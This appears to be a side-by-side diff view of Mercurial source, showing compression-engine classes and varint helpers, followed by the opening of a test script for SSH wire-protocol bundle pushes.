3402 | if sum(map(len, parts)) < insize: |
|
3409 | if sum(map(len, parts)) < insize: | |
3403 | return ''.join(parts) |
|
3410 | return ''.join(parts) | |
3404 | return None |
|
3411 | return None | |
3405 |
|
3412 | |||
3406 | def decompress(self, data): |
|
3413 | def decompress(self, data): | |
3407 | try: |
|
3414 | try: | |
3408 | return zlib.decompress(data) |
|
3415 | return zlib.decompress(data) | |
3409 | except zlib.error as e: |
|
3416 | except zlib.error as e: | |
3410 | raise error.RevlogError(_('revlog decompress error: %s') % |
|
3417 | raise error.RevlogError(_('revlog decompress error: %s') % | |
3411 | stringutil.forcebytestr(e)) |
|
3418 | stringutil.forcebytestr(e)) | |
3412 |
|
3419 | |||
3413 | def revlogcompressor(self, opts=None): |
|
3420 | def revlogcompressor(self, opts=None): | |
3414 | return self.zlibrevlogcompressor() |
|
3421 | return self.zlibrevlogcompressor() | |
3415 |
|
3422 | |||
3416 | compengines.register(_zlibengine()) |
|
3423 | compengines.register(_zlibengine()) | |
3417 |
|
3424 | |||
3418 | class _bz2engine(compressionengine): |
|
3425 | class _bz2engine(compressionengine): | |
3419 | def name(self): |
|
3426 | def name(self): | |
3420 | return 'bz2' |
|
3427 | return 'bz2' | |
3421 |
|
3428 | |||
3422 | def bundletype(self): |
|
3429 | def bundletype(self): | |
3423 | """An algorithm that produces smaller bundles than ``gzip``. |
|
3430 | """An algorithm that produces smaller bundles than ``gzip``. | |
3424 |
|
3431 | |||
3425 | All Mercurial clients should support this format. |
|
3432 | All Mercurial clients should support this format. | |
3426 |
|
3433 | |||
3427 | This engine will likely produce smaller bundles than ``gzip`` but |
|
3434 | This engine will likely produce smaller bundles than ``gzip`` but | |
3428 | will be significantly slower, both during compression and |
|
3435 | will be significantly slower, both during compression and | |
3429 | decompression. |
|
3436 | decompression. | |
3430 |
|
3437 | |||
3431 | If available, the ``zstd`` engine can yield similar or better |
|
3438 | If available, the ``zstd`` engine can yield similar or better | |
3432 | compression at much higher speeds. |
|
3439 | compression at much higher speeds. | |
3433 | """ |
|
3440 | """ | |
3434 | return 'bzip2', 'BZ' |
|
3441 | return 'bzip2', 'BZ' | |
3435 |
|
3442 | |||
3436 | # We declare a protocol name but don't advertise by default because |
|
3443 | # We declare a protocol name but don't advertise by default because | |
3437 | # it is slow. |
|
3444 | # it is slow. | |
3438 | def wireprotosupport(self): |
|
3445 | def wireprotosupport(self): | |
3439 | return compewireprotosupport('bzip2', 0, 0) |
|
3446 | return compewireprotosupport('bzip2', 0, 0) | |
3440 |
|
3447 | |||
3441 | def compressstream(self, it, opts=None): |
|
3448 | def compressstream(self, it, opts=None): | |
3442 | opts = opts or {} |
|
3449 | opts = opts or {} | |
3443 | z = bz2.BZ2Compressor(opts.get('level', 9)) |
|
3450 | z = bz2.BZ2Compressor(opts.get('level', 9)) | |
3444 | for chunk in it: |
|
3451 | for chunk in it: | |
3445 | data = z.compress(chunk) |
|
3452 | data = z.compress(chunk) | |
3446 | if data: |
|
3453 | if data: | |
3447 | yield data |
|
3454 | yield data | |
3448 |
|
3455 | |||
3449 | yield z.flush() |
|
3456 | yield z.flush() | |
3450 |
|
3457 | |||
3451 | def decompressorreader(self, fh): |
|
3458 | def decompressorreader(self, fh): | |
3452 | def gen(): |
|
3459 | def gen(): | |
3453 | d = bz2.BZ2Decompressor() |
|
3460 | d = bz2.BZ2Decompressor() | |
3454 | for chunk in filechunkiter(fh): |
|
3461 | for chunk in filechunkiter(fh): | |
3455 | yield d.decompress(chunk) |
|
3462 | yield d.decompress(chunk) | |
3456 |
|
3463 | |||
3457 | return chunkbuffer(gen()) |
|
3464 | return chunkbuffer(gen()) | |
3458 |
|
3465 | |||
3459 | compengines.register(_bz2engine()) |
|
3466 | compengines.register(_bz2engine()) | |
3460 |
|
3467 | |||
3461 | class _truncatedbz2engine(compressionengine): |
|
3468 | class _truncatedbz2engine(compressionengine): | |
3462 | def name(self): |
|
3469 | def name(self): | |
3463 | return 'bz2truncated' |
|
3470 | return 'bz2truncated' | |
3464 |
|
3471 | |||
3465 | def bundletype(self): |
|
3472 | def bundletype(self): | |
3466 | return None, '_truncatedBZ' |
|
3473 | return None, '_truncatedBZ' | |
3467 |
|
3474 | |||
3468 | # We don't implement compressstream because it is hackily handled elsewhere. |
|
3475 | # We don't implement compressstream because it is hackily handled elsewhere. | |
3469 |
|
3476 | |||
3470 | def decompressorreader(self, fh): |
|
3477 | def decompressorreader(self, fh): | |
3471 | def gen(): |
|
3478 | def gen(): | |
3472 | # The input stream doesn't have the 'BZ' header. So add it back. |
|
3479 | # The input stream doesn't have the 'BZ' header. So add it back. | |
3473 | d = bz2.BZ2Decompressor() |
|
3480 | d = bz2.BZ2Decompressor() | |
3474 | d.decompress('BZ') |
|
3481 | d.decompress('BZ') | |
3475 | for chunk in filechunkiter(fh): |
|
3482 | for chunk in filechunkiter(fh): | |
3476 | yield d.decompress(chunk) |
|
3483 | yield d.decompress(chunk) | |
3477 |
|
3484 | |||
3478 | return chunkbuffer(gen()) |
|
3485 | return chunkbuffer(gen()) | |
3479 |
|
3486 | |||
3480 | compengines.register(_truncatedbz2engine()) |
|
3487 | compengines.register(_truncatedbz2engine()) | |
3481 |
|
3488 | |||
3482 | class _noopengine(compressionengine): |
|
3489 | class _noopengine(compressionengine): | |
3483 | def name(self): |
|
3490 | def name(self): | |
3484 | return 'none' |
|
3491 | return 'none' | |
3485 |
|
3492 | |||
3486 | def bundletype(self): |
|
3493 | def bundletype(self): | |
3487 | """No compression is performed. |
|
3494 | """No compression is performed. | |
3488 |
|
3495 | |||
3489 | Use this compression engine to explicitly disable compression. |
|
3496 | Use this compression engine to explicitly disable compression. | |
3490 | """ |
|
3497 | """ | |
3491 | return 'none', 'UN' |
|
3498 | return 'none', 'UN' | |
3492 |
|
3499 | |||
3493 | # Clients always support uncompressed payloads. Servers don't because |
|
3500 | # Clients always support uncompressed payloads. Servers don't because | |
3494 | # unless you are on a fast network, uncompressed payloads can easily |
|
3501 | # unless you are on a fast network, uncompressed payloads can easily | |
3495 | # saturate your network pipe. |
|
3502 | # saturate your network pipe. | |
3496 | def wireprotosupport(self): |
|
3503 | def wireprotosupport(self): | |
3497 | return compewireprotosupport('none', 0, 10) |
|
3504 | return compewireprotosupport('none', 0, 10) | |
3498 |
|
3505 | |||
3499 | # We don't implement revlogheader because it is handled specially |
|
3506 | # We don't implement revlogheader because it is handled specially | |
3500 | # in the revlog class. |
|
3507 | # in the revlog class. | |
3501 |
|
3508 | |||
3502 | def compressstream(self, it, opts=None): |
|
3509 | def compressstream(self, it, opts=None): | |
3503 | return it |
|
3510 | return it | |
3504 |
|
3511 | |||
3505 | def decompressorreader(self, fh): |
|
3512 | def decompressorreader(self, fh): | |
3506 | return fh |
|
3513 | return fh | |
3507 |
|
3514 | |||
3508 | class nooprevlogcompressor(object): |
|
3515 | class nooprevlogcompressor(object): | |
3509 | def compress(self, data): |
|
3516 | def compress(self, data): | |
3510 | return None |
|
3517 | return None | |
3511 |
|
3518 | |||
3512 | def revlogcompressor(self, opts=None): |
|
3519 | def revlogcompressor(self, opts=None): | |
3513 | return self.nooprevlogcompressor() |
|
3520 | return self.nooprevlogcompressor() | |
3514 |
|
3521 | |||
3515 | compengines.register(_noopengine()) |
|
3522 | compengines.register(_noopengine()) | |
3516 |
|
3523 | |||
3517 | class _zstdengine(compressionengine): |
|
3524 | class _zstdengine(compressionengine): | |
3518 | def name(self): |
|
3525 | def name(self): | |
3519 | return 'zstd' |
|
3526 | return 'zstd' | |
3520 |
|
3527 | |||
3521 | @propertycache |
|
3528 | @propertycache | |
3522 | def _module(self): |
|
3529 | def _module(self): | |
3523 | # Not all installs have the zstd module available. So defer importing |
|
3530 | # Not all installs have the zstd module available. So defer importing | |
3524 | # until first access. |
|
3531 | # until first access. | |
3525 | try: |
|
3532 | try: | |
3526 | from . import zstd |
|
3533 | from . import zstd | |
3527 | # Force delayed import. |
|
3534 | # Force delayed import. | |
3528 | zstd.__version__ |
|
3535 | zstd.__version__ | |
3529 | return zstd |
|
3536 | return zstd | |
3530 | except ImportError: |
|
3537 | except ImportError: | |
3531 | return None |
|
3538 | return None | |
3532 |
|
3539 | |||
3533 | def available(self): |
|
3540 | def available(self): | |
3534 | return bool(self._module) |
|
3541 | return bool(self._module) | |
3535 |
|
3542 | |||
3536 | def bundletype(self): |
|
3543 | def bundletype(self): | |
3537 | """A modern compression algorithm that is fast and highly flexible. |
|
3544 | """A modern compression algorithm that is fast and highly flexible. | |
3538 |
|
3545 | |||
3539 | Only supported by Mercurial 4.1 and newer clients. |
|
3546 | Only supported by Mercurial 4.1 and newer clients. | |
3540 |
|
3547 | |||
3541 | With the default settings, zstd compression is both faster and yields |
|
3548 | With the default settings, zstd compression is both faster and yields | |
3542 | better compression than ``gzip``. It also frequently yields better |
|
3549 | better compression than ``gzip``. It also frequently yields better | |
3543 | compression than ``bzip2`` while operating at much higher speeds. |
|
3550 | compression than ``bzip2`` while operating at much higher speeds. | |
3544 |
|
3551 | |||
3545 | If this engine is available and backwards compatibility is not a |
|
3552 | If this engine is available and backwards compatibility is not a | |
3546 | concern, it is likely the best available engine. |
|
3553 | concern, it is likely the best available engine. | |
3547 | """ |
|
3554 | """ | |
3548 | return 'zstd', 'ZS' |
|
3555 | return 'zstd', 'ZS' | |
3549 |
|
3556 | |||
3550 | def wireprotosupport(self): |
|
3557 | def wireprotosupport(self): | |
3551 | return compewireprotosupport('zstd', 50, 50) |
|
3558 | return compewireprotosupport('zstd', 50, 50) | |
3552 |
|
3559 | |||
3553 | def revlogheader(self): |
|
3560 | def revlogheader(self): | |
3554 | return '\x28' |
|
3561 | return '\x28' | |
3555 |
|
3562 | |||
3556 | def compressstream(self, it, opts=None): |
|
3563 | def compressstream(self, it, opts=None): | |
3557 | opts = opts or {} |
|
3564 | opts = opts or {} | |
3558 | # zstd level 3 is almost always significantly faster than zlib |
|
3565 | # zstd level 3 is almost always significantly faster than zlib | |
3559 | # while providing no worse compression. It strikes a good balance |
|
3566 | # while providing no worse compression. It strikes a good balance | |
3560 | # between speed and compression. |
|
3567 | # between speed and compression. | |
3561 | level = opts.get('level', 3) |
|
3568 | level = opts.get('level', 3) | |
3562 |
|
3569 | |||
3563 | zstd = self._module |
|
3570 | zstd = self._module | |
3564 | z = zstd.ZstdCompressor(level=level).compressobj() |
|
3571 | z = zstd.ZstdCompressor(level=level).compressobj() | |
3565 | for chunk in it: |
|
3572 | for chunk in it: | |
3566 | data = z.compress(chunk) |
|
3573 | data = z.compress(chunk) | |
3567 | if data: |
|
3574 | if data: | |
3568 | yield data |
|
3575 | yield data | |
3569 |
|
3576 | |||
3570 | yield z.flush() |
|
3577 | yield z.flush() | |
3571 |
|
3578 | |||
3572 | def decompressorreader(self, fh): |
|
3579 | def decompressorreader(self, fh): | |
3573 | zstd = self._module |
|
3580 | zstd = self._module | |
3574 | dctx = zstd.ZstdDecompressor() |
|
3581 | dctx = zstd.ZstdDecompressor() | |
3575 | return chunkbuffer(dctx.read_from(fh)) |
|
3582 | return chunkbuffer(dctx.read_from(fh)) | |
3576 |
|
3583 | |||
3577 | class zstdrevlogcompressor(object): |
|
3584 | class zstdrevlogcompressor(object): | |
3578 | def __init__(self, zstd, level=3): |
|
3585 | def __init__(self, zstd, level=3): | |
3579 | # TODO consider omitting frame magic to save 4 bytes. |
|
3586 | # TODO consider omitting frame magic to save 4 bytes. | |
3580 | # This writes content sizes into the frame header. That is |
|
3587 | # This writes content sizes into the frame header. That is | |
3581 | # extra storage. But it allows a correct size memory allocation |
|
3588 | # extra storage. But it allows a correct size memory allocation | |
3582 | # to hold the result. |
|
3589 | # to hold the result. | |
3583 | self._cctx = zstd.ZstdCompressor(level=level) |
|
3590 | self._cctx = zstd.ZstdCompressor(level=level) | |
3584 | self._dctx = zstd.ZstdDecompressor() |
|
3591 | self._dctx = zstd.ZstdDecompressor() | |
3585 | self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE |
|
3592 | self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE | |
3586 | self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE |
|
3593 | self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE | |
3587 |
|
3594 | |||
3588 | def compress(self, data): |
|
3595 | def compress(self, data): | |
3589 | insize = len(data) |
|
3596 | insize = len(data) | |
3590 | # Caller handles empty input case. |
|
3597 | # Caller handles empty input case. | |
3591 | assert insize > 0 |
|
3598 | assert insize > 0 | |
3592 |
|
3599 | |||
3593 | if insize < 50: |
|
3600 | if insize < 50: | |
3594 | return None |
|
3601 | return None | |
3595 |
|
3602 | |||
3596 | elif insize <= 1000000: |
|
3603 | elif insize <= 1000000: | |
3597 | compressed = self._cctx.compress(data) |
|
3604 | compressed = self._cctx.compress(data) | |
3598 | if len(compressed) < insize: |
|
3605 | if len(compressed) < insize: | |
3599 | return compressed |
|
3606 | return compressed | |
3600 | return None |
|
3607 | return None | |
3601 | else: |
|
3608 | else: | |
3602 | z = self._cctx.compressobj() |
|
3609 | z = self._cctx.compressobj() | |
3603 | chunks = [] |
|
3610 | chunks = [] | |
3604 | pos = 0 |
|
3611 | pos = 0 | |
3605 | while pos < insize: |
|
3612 | while pos < insize: | |
3606 | pos2 = pos + self._compinsize |
|
3613 | pos2 = pos + self._compinsize | |
3607 | chunk = z.compress(data[pos:pos2]) |
|
3614 | chunk = z.compress(data[pos:pos2]) | |
3608 | if chunk: |
|
3615 | if chunk: | |
3609 | chunks.append(chunk) |
|
3616 | chunks.append(chunk) | |
3610 | pos = pos2 |
|
3617 | pos = pos2 | |
3611 | chunks.append(z.flush()) |
|
3618 | chunks.append(z.flush()) | |
3612 |
|
3619 | |||
3613 | if sum(map(len, chunks)) < insize: |
|
3620 | if sum(map(len, chunks)) < insize: | |
3614 | return ''.join(chunks) |
|
3621 | return ''.join(chunks) | |
3615 | return None |
|
3622 | return None | |
3616 |
|
3623 | |||
3617 | def decompress(self, data): |
|
3624 | def decompress(self, data): | |
3618 | insize = len(data) |
|
3625 | insize = len(data) | |
3619 |
|
3626 | |||
3620 | try: |
|
3627 | try: | |
3621 | # This was measured to be faster than other streaming |
|
3628 | # This was measured to be faster than other streaming | |
3622 | # decompressors. |
|
3629 | # decompressors. | |
3623 | dobj = self._dctx.decompressobj() |
|
3630 | dobj = self._dctx.decompressobj() | |
3624 | chunks = [] |
|
3631 | chunks = [] | |
3625 | pos = 0 |
|
3632 | pos = 0 | |
3626 | while pos < insize: |
|
3633 | while pos < insize: | |
3627 | pos2 = pos + self._decompinsize |
|
3634 | pos2 = pos + self._decompinsize | |
3628 | chunk = dobj.decompress(data[pos:pos2]) |
|
3635 | chunk = dobj.decompress(data[pos:pos2]) | |
3629 | if chunk: |
|
3636 | if chunk: | |
3630 | chunks.append(chunk) |
|
3637 | chunks.append(chunk) | |
3631 | pos = pos2 |
|
3638 | pos = pos2 | |
3632 | # Frame should be exhausted, so no finish() API. |
|
3639 | # Frame should be exhausted, so no finish() API. | |
3633 |
|
3640 | |||
3634 | return ''.join(chunks) |
|
3641 | return ''.join(chunks) | |
3635 | except Exception as e: |
|
3642 | except Exception as e: | |
3636 | raise error.RevlogError(_('revlog decompress error: %s') % |
|
3643 | raise error.RevlogError(_('revlog decompress error: %s') % | |
3637 | stringutil.forcebytestr(e)) |
|
3644 | stringutil.forcebytestr(e)) | |
3638 |
|
3645 | |||
3639 | def revlogcompressor(self, opts=None): |
|
3646 | def revlogcompressor(self, opts=None): | |
3640 | opts = opts or {} |
|
3647 | opts = opts or {} | |
3641 | return self.zstdrevlogcompressor(self._module, |
|
3648 | return self.zstdrevlogcompressor(self._module, | |
3642 | level=opts.get('level', 3)) |
|
3649 | level=opts.get('level', 3)) | |
3643 |
|
3650 | |||
3644 | compengines.register(_zstdengine()) |
|
3651 | compengines.register(_zstdengine()) | |
3645 |
|
3652 | |||
3646 | def bundlecompressiontopics(): |
|
3653 | def bundlecompressiontopics(): | |
3647 | """Obtains a list of available bundle compressions for use in help.""" |
|
3654 | """Obtains a list of available bundle compressions for use in help.""" | |
3648 | # help.makeitemsdocs() expects a dict of names to items with a .__doc__. |
|
3655 | # help.makeitemsdocs() expects a dict of names to items with a .__doc__. | |
3649 | items = {} |
|
3656 | items = {} | |
3650 |
|
3657 | |||
3651 | # We need to format the docstring. So use a dummy object/type to hold it |
|
3658 | # We need to format the docstring. So use a dummy object/type to hold it | |
3652 | # rather than mutating the original. |
|
3659 | # rather than mutating the original. | |
3653 | class docobject(object): |
|
3660 | class docobject(object): | |
3654 | pass |
|
3661 | pass | |
3655 |
|
3662 | |||
3656 | for name in compengines: |
|
3663 | for name in compengines: | |
3657 | engine = compengines[name] |
|
3664 | engine = compengines[name] | |
3658 |
|
3665 | |||
3659 | if not engine.available(): |
|
3666 | if not engine.available(): | |
3660 | continue |
|
3667 | continue | |
3661 |
|
3668 | |||
3662 | bt = engine.bundletype() |
|
3669 | bt = engine.bundletype() | |
3663 | if not bt or not bt[0]: |
|
3670 | if not bt or not bt[0]: | |
3664 | continue |
|
3671 | continue | |
3665 |
|
3672 | |||
3666 | doc = pycompat.sysstr('``%s``\n %s') % ( |
|
3673 | doc = pycompat.sysstr('``%s``\n %s') % ( | |
3667 | bt[0], engine.bundletype.__doc__) |
|
3674 | bt[0], engine.bundletype.__doc__) | |
3668 |
|
3675 | |||
3669 | value = docobject() |
|
3676 | value = docobject() | |
3670 | value.__doc__ = doc |
|
3677 | value.__doc__ = doc | |
3671 | value._origdoc = engine.bundletype.__doc__ |
|
3678 | value._origdoc = engine.bundletype.__doc__ | |
3672 | value._origfunc = engine.bundletype |
|
3679 | value._origfunc = engine.bundletype | |
3673 |
|
3680 | |||
3674 | items[bt[0]] = value |
|
3681 | items[bt[0]] = value | |
3675 |
|
3682 | |||
3676 | return items |
|
3683 | return items | |
3677 |
|
3684 | |||
3678 | i18nfunctions = bundlecompressiontopics().values() |
|
3685 | i18nfunctions = bundlecompressiontopics().values() | |
3679 |
|
3686 | |||
3680 | # convenient shortcut |
|
3687 | # convenient shortcut | |
3681 | dst = debugstacktrace |
|
3688 | dst = debugstacktrace | |
3682 |
|
3689 | |||
3683 | def safename(f, tag, ctx, others=None): |
|
3690 | def safename(f, tag, ctx, others=None): | |
3684 | """ |
|
3691 | """ | |
3685 | Generate a name that it is safe to rename f to in the given context. |
|
3692 | Generate a name that it is safe to rename f to in the given context. | |
3686 |
|
3693 | |||
3687 | f: filename to rename |
|
3694 | f: filename to rename | |
3688 | tag: a string tag that will be included in the new name |
|
3695 | tag: a string tag that will be included in the new name | |
3689 | ctx: a context, in which the new name must not exist |
|
3696 | ctx: a context, in which the new name must not exist | |
3690 | others: a set of other filenames that the new name must not be in |
|
3697 | others: a set of other filenames that the new name must not be in | |
3691 |
|
3698 | |||
3692 | Returns a file name of the form oldname~tag[~number] which does not exist |
|
3699 | Returns a file name of the form oldname~tag[~number] which does not exist | |
3693 | in the provided context and is not in the set of other names. |
|
3700 | in the provided context and is not in the set of other names. | |
3694 | """ |
|
3701 | """ | |
3695 | if others is None: |
|
3702 | if others is None: | |
3696 | others = set() |
|
3703 | others = set() | |
3697 |
|
3704 | |||
3698 | fn = '%s~%s' % (f, tag) |
|
3705 | fn = '%s~%s' % (f, tag) | |
3699 | if fn not in ctx and fn not in others: |
|
3706 | if fn not in ctx and fn not in others: | |
3700 | return fn |
|
3707 | return fn | |
3701 | for n in itertools.count(1): |
|
3708 | for n in itertools.count(1): | |
3702 | fn = '%s~%s~%s' % (f, tag, n) |
|
3709 | fn = '%s~%s~%s' % (f, tag, n) | |
3703 | if fn not in ctx and fn not in others: |
|
3710 | if fn not in ctx and fn not in others: | |
3704 | return fn |
|
3711 | return fn | |
3705 |
|
3712 | |||
3706 | def readexactly(stream, n): |
|
3713 | def readexactly(stream, n): | |
3707 | '''read n bytes from stream.read and abort if less was available''' |
|
3714 | '''read n bytes from stream.read and abort if less was available''' | |
3708 | s = stream.read(n) |
|
3715 | s = stream.read(n) | |
3709 | if len(s) < n: |
|
3716 | if len(s) < n: | |
3710 | raise error.Abort(_("stream ended unexpectedly" |
|
3717 | raise error.Abort(_("stream ended unexpectedly" | |
3711 | " (got %d bytes, expected %d)") |
|
3718 | " (got %d bytes, expected %d)") | |
3712 | % (len(s), n)) |
|
3719 | % (len(s), n)) | |
3713 | return s |
|
3720 | return s | |
3714 |
|
3721 | |||
3715 | def uvarintencode(value): |
|
3722 | def uvarintencode(value): | |
3716 | """Encode an unsigned integer value to a varint. |
|
3723 | """Encode an unsigned integer value to a varint. | |
3717 |
|
3724 | |||
3718 | A varint is a variable length integer of 1 or more bytes. Each byte |
|
3725 | A varint is a variable length integer of 1 or more bytes. Each byte | |
3719 | except the last has the most significant bit set. The lower 7 bits of |
|
3726 | except the last has the most significant bit set. The lower 7 bits of | |
3720 | each byte store the 2's complement representation, least significant group |
|
3727 | each byte store the 2's complement representation, least significant group | |
3721 | first. |
|
3728 | first. | |
3722 |
|
3729 | |||
3723 | >>> uvarintencode(0) |
|
3730 | >>> uvarintencode(0) | |
3724 | '\\x00' |
|
3731 | '\\x00' | |
3725 | >>> uvarintencode(1) |
|
3732 | >>> uvarintencode(1) | |
3726 | '\\x01' |
|
3733 | '\\x01' | |
3727 | >>> uvarintencode(127) |
|
3734 | >>> uvarintencode(127) | |
3728 | '\\x7f' |
|
3735 | '\\x7f' | |
3729 | >>> uvarintencode(1337) |
|
3736 | >>> uvarintencode(1337) | |
3730 | '\\xb9\\n' |
|
3737 | '\\xb9\\n' | |
3731 | >>> uvarintencode(65536) |
|
3738 | >>> uvarintencode(65536) | |
3732 | '\\x80\\x80\\x04' |
|
3739 | '\\x80\\x80\\x04' | |
3733 | >>> uvarintencode(-1) |
|
3740 | >>> uvarintencode(-1) | |
3734 | Traceback (most recent call last): |
|
3741 | Traceback (most recent call last): | |
3735 | ... |
|
3742 | ... | |
3736 | ProgrammingError: negative value for uvarint: -1 |
|
3743 | ProgrammingError: negative value for uvarint: -1 | |
3737 | """ |
|
3744 | """ | |
3738 | if value < 0: |
|
3745 | if value < 0: | |
3739 | raise error.ProgrammingError('negative value for uvarint: %d' |
|
3746 | raise error.ProgrammingError('negative value for uvarint: %d' | |
3740 | % value) |
|
3747 | % value) | |
3741 | bits = value & 0x7f |
|
3748 | bits = value & 0x7f | |
3742 | value >>= 7 |
|
3749 | value >>= 7 | |
3743 | bytes = [] |
|
3750 | bytes = [] | |
3744 | while value: |
|
3751 | while value: | |
3745 | bytes.append(pycompat.bytechr(0x80 | bits)) |
|
3752 | bytes.append(pycompat.bytechr(0x80 | bits)) | |
3746 | bits = value & 0x7f |
|
3753 | bits = value & 0x7f | |
3747 | value >>= 7 |
|
3754 | value >>= 7 | |
3748 | bytes.append(pycompat.bytechr(bits)) |
|
3755 | bytes.append(pycompat.bytechr(bits)) | |
3749 |
|
3756 | |||
3750 | return ''.join(bytes) |
|
3757 | return ''.join(bytes) | |
3751 |
|
3758 | |||
3752 | def uvarintdecodestream(fh): |
|
3759 | def uvarintdecodestream(fh): | |
3753 | """Decode an unsigned variable length integer from a stream. |
|
3760 | """Decode an unsigned variable length integer from a stream. | |
3754 |
|
3761 | |||
3755 | The passed argument is anything that has a ``.read(N)`` method. |
|
3762 | The passed argument is anything that has a ``.read(N)`` method. | |
3756 |
|
3763 | |||
3757 | >>> try: |
|
3764 | >>> try: | |
3758 | ... from StringIO import StringIO as BytesIO |
|
3765 | ... from StringIO import StringIO as BytesIO | |
3759 | ... except ImportError: |
|
3766 | ... except ImportError: | |
3760 | ... from io import BytesIO |
|
3767 | ... from io import BytesIO | |
3761 | >>> uvarintdecodestream(BytesIO(b'\\x00')) |
|
3768 | >>> uvarintdecodestream(BytesIO(b'\\x00')) | |
3762 | 0 |
|
3769 | 0 | |
3763 | >>> uvarintdecodestream(BytesIO(b'\\x01')) |
|
3770 | >>> uvarintdecodestream(BytesIO(b'\\x01')) | |
3764 | 1 |
|
3771 | 1 | |
3765 | >>> uvarintdecodestream(BytesIO(b'\\x7f')) |
|
3772 | >>> uvarintdecodestream(BytesIO(b'\\x7f')) | |
3766 | 127 |
|
3773 | 127 | |
3767 | >>> uvarintdecodestream(BytesIO(b'\\xb9\\n')) |
|
3774 | >>> uvarintdecodestream(BytesIO(b'\\xb9\\n')) | |
3768 | 1337 |
|
3775 | 1337 | |
3769 | >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04')) |
|
3776 | >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04')) | |
3770 | 65536 |
|
3777 | 65536 | |
3771 | >>> uvarintdecodestream(BytesIO(b'\\x80')) |
|
3778 | >>> uvarintdecodestream(BytesIO(b'\\x80')) | |
3772 | Traceback (most recent call last): |
|
3779 | Traceback (most recent call last): | |
3773 | ... |
|
3780 | ... | |
3774 | Abort: stream ended unexpectedly (got 0 bytes, expected 1) |
|
3781 | Abort: stream ended unexpectedly (got 0 bytes, expected 1) | |
3775 | """ |
|
3782 | """ | |
3776 | result = 0 |
|
3783 | result = 0 | |
3777 | shift = 0 |
|
3784 | shift = 0 | |
3778 | while True: |
|
3785 | while True: | |
3779 | byte = ord(readexactly(fh, 1)) |
|
3786 | byte = ord(readexactly(fh, 1)) | |
3780 | result |= ((byte & 0x7f) << shift) |
|
3787 | result |= ((byte & 0x7f) << shift) | |
3781 | if not (byte & 0x80): |
|
3788 | if not (byte & 0x80): | |
3782 | return result |
|
3789 | return result | |
3783 | shift += 7 |
|
3790 | shift += 7 |
@@ -1,2076 +1,2046 b'' | |||||
1 | $ cat > hgrc-sshv2 << EOF |
|
1 | $ cat > hgrc-sshv2 << EOF | |
2 | > %include $HGRCPATH |
|
2 | > %include $HGRCPATH | |
3 | > [experimental] |
|
3 | > [experimental] | |
4 | > sshpeer.advertise-v2 = true |
|
4 | > sshpeer.advertise-v2 = true | |
5 | > sshserver.support-v2 = true |
|
5 | > sshserver.support-v2 = true | |
6 | > EOF |
|
6 | > EOF | |
7 |
|
7 | |||
8 | $ debugwireproto() { |
|
8 | $ debugwireproto() { | |
9 | > commands=`cat -` |
|
9 | > commands=`cat -` | |
10 | > echo 'testing ssh1' |
|
10 | > echo 'testing ssh1' | |
11 | > tip=`hg log -r tip -T '{node}'` |
|
11 | > tip=`hg log -r tip -T '{node}'` | |
12 | > echo "${commands}" | hg --verbose debugwireproto --localssh --noreadstderr |
|
12 | > echo "${commands}" | hg --verbose debugwireproto --localssh --noreadstderr | |
13 | > if [ -n "$1" ]; then |
|
13 | > if [ -n "$1" ]; then | |
14 | > hg --config extensions.strip= strip --no-backup -r "all() - ::${tip}" |
|
14 | > hg --config extensions.strip= strip --no-backup -r "all() - ::${tip}" | |
15 | > fi |
|
15 | > fi | |
16 | > echo "" |
|
16 | > echo "" | |
17 | > echo 'testing ssh2' |
|
17 | > echo 'testing ssh2' | |
18 | > echo "${commands}" | HGRCPATH=$TESTTMP/hgrc-sshv2 hg --verbose debugwireproto --localssh --noreadstderr |
|
18 | > echo "${commands}" | HGRCPATH=$TESTTMP/hgrc-sshv2 hg --verbose debugwireproto --localssh --noreadstderr | |
19 | > if [ -n "$1" ]; then |
|
19 | > if [ -n "$1" ]; then | |
20 | > hg --config extensions.strip= strip --no-backup -r "all() - ::${tip}" |
|
20 | > hg --config extensions.strip= strip --no-backup -r "all() - ::${tip}" | |
21 | > fi |
|
21 | > fi | |
22 | > } |
|
22 | > } | |
23 |
|
23 | |||
24 | Generate some bundle files |
|
24 | Generate some bundle files | |
25 |
|
25 | |||
26 | $ hg init repo |
|
26 | $ hg init repo | |
27 | $ cd repo |
|
27 | $ cd repo | |
28 | $ echo 0 > foo |
|
28 | $ echo 0 > foo | |
29 | $ hg -q commit -A -m initial |
|
29 | $ hg -q commit -A -m initial | |
30 | $ hg bundle --all -t none-v1 ../initial.v1.hg |
|
30 | $ hg bundle --all -t none-v1 ../initial.v1.hg | |
31 | 1 changesets found |
|
31 | 1 changesets found | |
32 | $ cd .. |
|
32 | $ cd .. | |
33 |
|
33 | |||
34 | Test pushing bundle1 payload to a server with bundle1 disabled |
|
34 | Test pushing bundle1 payload to a server with bundle1 disabled | |
35 |
|
35 | |||
36 | $ hg init no-bundle1 |
|
36 | $ hg init no-bundle1 | |
37 | $ cd no-bundle1 |
|
37 | $ cd no-bundle1 | |
38 | $ cat > .hg/hgrc << EOF |
|
38 | $ cat > .hg/hgrc << EOF | |
39 | > [server] |
|
39 | > [server] | |
40 | > bundle1 = false |
|
40 | > bundle1 = false | |
41 | > EOF |
|
41 | > EOF | |
42 |
|
42 | |||
43 | $ debugwireproto << EOF |
|
43 | $ debugwireproto << EOF | |
44 | > command unbundle |
|
44 | > command unbundle | |
45 | > # This is "force" in hex. |
|
45 | > # This is "force" in hex. | |
46 | > heads 666f726365 |
|
46 | > heads 666f726365 | |
47 | > PUSHFILE ../initial.v1.hg |
|
47 | > PUSHFILE ../initial.v1.hg | |
48 | > readavailable |
|
48 | > readavailable | |
49 | > EOF |
|
49 | > EOF | |
50 | testing ssh1 |
|
50 | testing ssh1 | |
51 | creating ssh peer from handshake results |
|
51 | creating ssh peer from handshake results | |
52 | i> write(104) -> 104: |
|
52 | i> write(104) -> 104: | |
53 | i> hello\n |
|
53 | i> hello\n | |
54 | i> between\n |
|
54 | i> between\n | |
55 | i> pairs 81\n |
|
55 | i> pairs 81\n | |
56 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
56 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
57 | i> flush() -> None |
|
57 | i> flush() -> None | |
58 | o> readline() -> 4: |
|
58 | o> readline() -> 4: | |
